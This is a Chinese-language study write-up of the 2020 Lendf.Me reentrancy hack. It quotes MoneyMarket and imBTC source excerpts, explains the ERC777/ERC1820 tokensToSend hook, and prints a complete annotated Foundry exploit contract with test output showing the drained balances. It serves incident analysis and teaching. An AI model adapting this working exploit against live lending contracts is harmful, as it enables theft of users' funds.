defi 攻击复现 LendfMe
按照 https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-04/LendfMe_exp.sol
的注释 找到 MoneyMarket 的合约地址和该笔攻击交易
- 受害者 LendfMe(MoneyMarket) 部分源码
合约地址 0x0eEe3E3828A45f7601D5F54bF49bB01d1A9dF5ea
line 400-426
function doTransferIn(address asset, address from, uint amount) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transferFrom(from, address(this), amount);
...
return Error.NO_ERROR;
}
line 645-662
contract MoneyMarket is Exponential, SafeToken {
...
uint constant initialInterestIndex = 10 ** 18;
uint constant defaultOriginationFee = 0; // default is zero bps
...
/**
* @notice `MoneyMarket` is the core Compound MoneyMarket contract
*/
constructor() public {
admin = msg.sender;
collateralRatio = Exp({mantissa: 2 * mantissaOne});
originationFee = Exp({mantissa: defaultOriginationFee});
liquidationDiscount = Exp({mantissa: 0});
// oracle must be configured via _setOracle
}
line 701-704
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
line 713-739
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* totalSupply = total amount of this asset supplied (in asset wei)
* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint blockNumber;
InterestRateModel interestRateModel;
uint totalSupply;
uint supplyRateMantissa;
uint supplyIndex;
uint totalBorrows;
uint borrowRateMantissa;
uint borrowIndex;
}
line 1478-1605
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint startingBalance;
uint newSupplyIndex;
uint userSupplyCurrent;
uint userSupplyUpdated;
uint newTotalSupply;
uint currentCash;
uint updatedCash;
uint newSupplyRateMantissa;
uint newBorrowIndex;
uint newBorrowRateMantissa;
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint amount) public returns (uint) {
...
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
...
(err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
(err, localResults.userSupplyUpdated) = add(localResults.userSupplyCurrent, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
...
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
emit SupplyReceived(msg.sender, asset, amount, localResults.startingBalance, localResults.userSupplyUpdated);
return uint(Error.NO_ERROR); // success
}
line 1634-1661
function withdraw(address asset, uint requestedAmount) public returns (uint) {
...
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
...
(err, localResults.userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
...
漏洞出现在 supply 函数。在supply函数的开头,申请了临时变量localResults,然后将用户的余额保存在 localResults.userSupplyCurrent 中
SupplyLocalVars memory localResults; // Holds all our uint calculation results
...
(err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
...
err = doTransferIn(asset, msg.sender, amount);
...
在 supply 函数的最后,用户存入成功后,将用户的余额进行更新,此时最后用户的余额为 localResults.userSupplyUpdated
balance.principal = localResults.userSupplyUpdated;
在更新用户余额之前,supply调用了 doTransferIn 函数
function doTransferIn(address asset, address from, uint amount) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transferFrom(from, address(this), amount);
...
- IMBTC部分源码
合约地址 0x3212b29E33587A00FB1C83346f5dBFA69A458923
line 599-637
contract EarnERC777 is IERC777, IERC20 {
...
IERC1820Registry internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
...
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant internal TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
//Empty, This is only used to respond the defaultOperators query.
address[] internal _defaultOperatorsArray;
...
line 860-875
function _transferFrom(address holder, address recipient, uint256 amount) internal returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = msg.sender;
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
line 1044-1058
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
在 doTransferIn 函数中,调用了 imBTC 合约的 transferFrom 函数
function _transferFrom(address holder, address recipient, uint256 amount) internal returns (bool) {
...
_callTokensToSend(spender, holder, recipient, amount, "", "");
imBTC 合约的 transferFrom 函数中,接着调用 _callTokensToSend 函数
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
在 _callTokensToSend 函数中,通过 ERC1820 注册了 ERC777Sender 实现接口, 因此这里必须调用用户的 tokensToSend 钩子函数,这里就是攻击者重入漏洞发生的地方,攻击者在这里调用了 LendfMe 合约的 withdraw() 函数,此时合约执行流程从 supply 进入到了 withdraw 函数中
- ERC777
function _send(address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) internal {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
//调用发送钩子
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
//调用接收钩子
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
//发送钩子
function _callTokensToSend(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData) private {
//获取发送账户的接口地址
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
//执行接口地址的tokensToSend方法
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
//接收钩子
function _callTokensReceived(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) private {
//获取接收账户的接口地址
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
//执行接口地址的tokensReceived方法
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
//如果requireReceptionAck为true则必须执行接口方法,以防止代币被锁死
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
ERC1820 有三个身份,分别是:目标地址 target、管理者 manager、实现者 implementer
//ERC1820注册表合约地址,全网统一
IERC1820Registry internal constant ERC1820_REGISTRY = IERC1820Registry( 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
setInterfaceImplementer 作用:设置接口实现者
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external;
若是为自己实现接口,默认 addr 和 implementer 是同一个地址
- 用到的所有接口
contracts/interfaces/IERC777.sol
interface ERC777Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address holder) external view returns (uint256);
// 定义代币最小的划分粒度
function granularity() external view returns (uint256);
// 操作员 相关的操作(操作员是可以代表持有者发送和销毁代币的账号地址)
function defaultOperators() external view returns (address[] memory);
function isOperatorFor(
address operator,
address holder
) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
// 发送代币
function send(address to, uint256 amount, bytes calldata data) external;
function operatorSend(
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
// 销毁代币
function burn(uint256 amount, bytes calldata data) external;
function operatorBurn(
address from,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
// 发送代币事件
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
// 铸币事件
event Minted(
address indexed operator,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
// 销毁代币事件
event Burned(
address indexed operator,
address indexed from,
uint256 amount,
bytes data,
bytes operatorData
);
// 授权操作员事件
event AuthorizedOperator(
address indexed operator,
address indexed holder
);
// 撤销操作员事件
event RevokedOperator(address indexed operator, address indexed holder);
}
contracts/interfaces/IERC777Sender.sol
interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
contracts/interfaces/IERC777Recipient.sol
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
contracts/interfaces/IERC1820Registry.sol
interface IERC1820Registry {
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
function setManager(address account, address newManager) external;
function getManager(address account) external view returns (address);
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
function updateERC165Cache(address account, bytes4 interfaceId) external;
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
}
contracts/interfaces/IERC1820Implementer.sol
interface IERC1820Implementer {
function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);
}
所有的ERC777 合约除了必须实现上述接口
ERC777 合约必须要通过 ERC1820 注册 ERC777Token 接口,这样任何人都可以查询合约是否是ERC777标准的合约,注册方法是: 调用ERC1820 注册合约的 setInterfaceImplementer 方法,参数 addr 及 implementer 均是合约的地址,_interfaceHash 是 ERC777Token 的 keccak256 哈希值(0xac7fbab5...177054)
如果 ERC777 要实现ERC20标准,还必须通过ERC1820 注册ERC20Token接口
imBTC 就是 ERC777 代币,所以 _callTokensToSend 函数中通过 ERC1820 注册了 ERC777Sender
实现接口 _callTokensToSend 函数,先通过注册表 getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH) 查看 tokenHolder 用来实现 IERC777TokensSender 接口的合约地址 ADDRESS,如果有则调用 ADDRESS 中的 tokensToSend 函数
- 以上过程
LendfMe 合约的 supply 函数 ---> supply 函数内部 doTransferIn 函数 ---> 用户(攻击者合约)存入资产 imBTC, imBTC 合约的 transferFrom 函数 ---> transferFrom 函数内部 _callTokensToSend 函数 ---> _callTokensToSend 函数内部,获取实现 IERC777TokensSender 接口[实现者]合约地址 ---> 调用该[实现者]合约的 tokensToSend 函数
- EXP
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
/*
Lendf.Me Reentry Exploit PoC
See https://peckshield.medium.com/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09 for more detail
Example tx - https://etherscan.io/tx/0xae7d664bdfcc54220df4f18d339005c6faf6e62c9ca79c56387bc0389274363b
*/
// 按照 Lendf.Me 公开的代码, contract MoneyMarket 是 Compound MoneyMarket 合约的核心;将它定义为接口;本次漏洞主要涉及两个函数 supply 和 withdraw ,与 Lendf.Me 原本定义格式相同
interface IMoneyMarket {
function supply(address asset, uint256 amount) external returns (uint256);
function withdraw(address asset, uint256 requestedAmount) external returns (uint256);
}
//攻击合约
contract LendfMeExploit is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;
// bancor 协议地址,与定价有关
address victim = 0x0eEe3E3828A45f7601D5F54bF49bB01d1A9dF5ea;
// 受害者地址,即 Lendf.Me 地址
address attacker = 0xA9BF70A420d364e923C74448D9D817d3F2A77822;
// 攻击者地址,攻击者合约 0x538359785a8D5AB1A741A0bA94f26a800759D91D 的 creator
IERC20 imBTC = IERC20(0x3212b29E33587A00FB1C83346f5dBFA69A458923);
// The Tokenized Bitcoin (imBTC) 地址,传入 IERC20 接口,该实例可以使用 ERC20 的函数
IERC1820Registry internal erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// ERC1820注册表合约地址,全网统一
bytes32 internal constant TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// 根据 EIP-777 "ERC777TokensSender" 进行 keccak256 运算得出的哈希值就是 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895
function setUp() public {
cheats.createSelectFork("mainnet", 9_899_725);// 分叉攻击发生的区块
}
// 自定义 tokensToSend 函数,按照 IERC777Sender.sol 的函数格式
function tokensToSend(
address, // operator
address, // from
address, // to
uint256 amount,
bytes calldata, // userData
bytes calldata // operatorData
) external {
if (amount == 1) {
IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
// 转移数量等于 1 时,调用受害者合约地址的 withdraw 函数,该函数的传入参数:提取[资产imBTC],提取数量[最大值]
}
}
//攻击测试函数
function testExploit() public {
emit log_named_uint("[Before Attack]Victim imBTC Balance : ", (imBTC.balanceOf(victim)));
emit log_named_uint("[Before Attack]Attacker imBTC Balance : ", (imBTC.balanceOf(attacker)));
// prepare
imBTC.approve(victim, type(uint256).max);
// imBTC 授权给受害者合约最大的数量
erc1820.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));
// 把当前合约[即攻击合约]设置为 ERC777TokensSender 的实现合约。传入的 3 个参数依次为:目标地址,实现接口的哈希值[实际上就是 ERC777TokensSender 的哈希值],实现者
// move
cheats.startPrank(attacker);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
imBTC.transfer(address(this), imBTC.balanceOf(attacker));// 把攻击者地址的 imBTC 余额转到当前的攻击合约
cheats.stopPrank();// 停止使用攻击者地址
// attack
uint256 this_balance = imBTC.balanceOf(address(this));
// 获得当前的攻击合约的 imBTC 资产余额
uint256 victim_balance = imBTC.balanceOf(victim);
// 获得受害者合约的 imBTC 资产余额
if (this_balance > (victim_balance + 1)) {
this_balance = victim_balance + 1;
}
// 如果[当前的攻击合约的 imBTC 资产余额]大于[受害者合约的 imBTC 资产余额+ 1],就让[当前的攻击合约的 imBTC 资产余额]等于[受害者合约的 imBTC 资产余额+ 1];目的就是二者差额始终是 1
IMoneyMarket(victim).supply(address(imBTC), this_balance - 1);
// 调用受害者合约的 supply 函数,传入参数:资产类型 imBTC ,数量 [当前的攻击合约的 imBTC 资产余额- 1];也就是第一次存入
IMoneyMarket(victim).supply(address(imBTC), 1);
// 调用受害者合约的 supply 函数,传入参数:资产类型 imBTC ,数量 1;也就是第二次存入
IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
// 调用受害者合约的 withdraw 函数,传入参数:资产类型 imBTC ,数量 最大值;
// transfer benefit back to the attacker
IERC20(imBTC).transfer(attacker, IERC20(imBTC).balanceOf(address(this)));
// 把当前的攻击合约的 imBTC 资产余额全部转给攻击者
emit log_string("--------------------------------------------------------------");
emit log_named_uint("[After Attack]Victim imBTC Balance : ", (imBTC.balanceOf(victim)));
emit log_named_uint("[After Attack]Attacker imBTC Balance : ", (imBTC.balanceOf(attacker)));
}
}
使用 forge 命令测试结果
$ forge test LendfMe_exp.t.sol -vvv
[⠢] Compiling...
Ran 1 test for test/LendfMe_exp.t.sol:LendfMeExploit
[PASS] testExploit() (gas: 629115)
Logs:
[Before Attack]Victim imBTC Balance : : 29134710218
[Before Attack]Attacker imBTC Balance : : 21595
--------------------------------------------------------------
[After Attack]Victim imBTC Balance : : 29134688624
[After Attack]Attacker imBTC Balance : : 43189
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.87s (24.71s CPU time)
Ran 1 test suite in 26.89s (26.87s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
攻击之前:攻击者合约 imBTC 余额 21595
攻击:分两笔存入 LendfMe ,第一笔存入 21594,正常调用;第二笔存入 1,发生重入,调用了 withdraw 函数。此时 LendfMe 合约对攻击者合约的余额[临时变量 localResults.userSupplyCurrent ]记录为 imBTC 余额 21594,提取该余额记录 21594
攻击之后:此时攻击者合约的余额 21595+21594=43189
- 主要参考文章
https://etherscan.io/tx/0xae7d664bdfcc54220df4f18d339005c6faf6e62c9ca79c56387bc0389274363b
https://etherscan.io/token/0x3212b29e33587a00fb1c83346f5dbfa69a458923#code
https://etherscan.io/address/0x0eee3e3828a45f7601d5f54bf49bb01d1a9df5ea#code
https://learnblockchain.cn/article/894
零时科技:DeFi 项目 Lendf.Me 遭黑客攻击复盘分析
https://learnblockchain.cn/article/17282
什么是 ERC-1820 注册合约?
https://learnblockchain.cn/article/9315
理解ERC1820标准
https://learnblockchain.cn/article/993
给你的ERC777代币制作一个自己的专属账本
https://learnblockchain.cn/article/7996
深入剖析 ERC777
https://learnblockchain.cn/index.php/article/12430
SlowMist:Lendf.Me 重入攻击的详细信息
https://www.jianshu.com/p/5a07f4bee9f9
ERC777 功能型Token最佳实践
https://eips.ethereum.org/EIPS/eip-777
https://eips.ethereum.org/EIPS/eip-1820